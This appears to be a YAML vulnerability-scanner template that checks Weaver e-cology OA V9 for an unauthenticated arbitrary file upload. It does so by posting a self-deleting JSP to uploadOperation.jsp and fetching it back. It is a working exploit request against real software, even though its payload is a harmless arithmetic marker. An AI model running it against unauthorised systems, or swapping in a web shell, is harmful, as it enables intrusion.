ecology-arbitrary-file-upload: 泛微OA e-cology V9前台任意上传漏洞

id: ecology-arbitrary-file-upload

info:
  name: 泛微OA e-cology V9前台任意上传漏洞
  author: jingling(https://github.com/shmilylty)
  severity: critical
  description: 泛微OA ecology V9前台任意上传漏洞 app="Weaver-OA"
  reference:
    - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
  tags: ecology,upload

set:
    r1: randomLowercase(4)
    r2: randomInt(40000, 44800)
    r3: randomInt(40000, 44800)
    rboundary: randomLowercase(8)
rules:
    r0:
        request:
            method: POST
            path: /page/exportImport/uploadOperation.jsp
            headers:
                Content-Type: multipart/form-data; boundary=WebKitFormBoundary{{rboundary}}
            body: "\
                --WebKitFormBoundary{{rboundary}}\r\n\
                Content-Disposition: form-data; name=\"file\"; filename=\"{{r1}}.jsp\"\r\n\
                Content-Type: application/octet-stream\r\n\
                \r\n\
                <%out.print({{r2}} * {{r3}});new java.io.File(application.getRealPath(request.getServletPath())).delete();%>\r\n\
                --WebKitFormBoundary{{rboundary}}--\r\n\
                "
        expression: response.status == 200
    r1:
        request:
            method: GET
            path: /page/exportImport/fileTransfer/{{r1}}.jsp
        expression: response.status == 200 && response.body.bcontains(bytes(string(r2 * r3)))
expression: r0() && r1()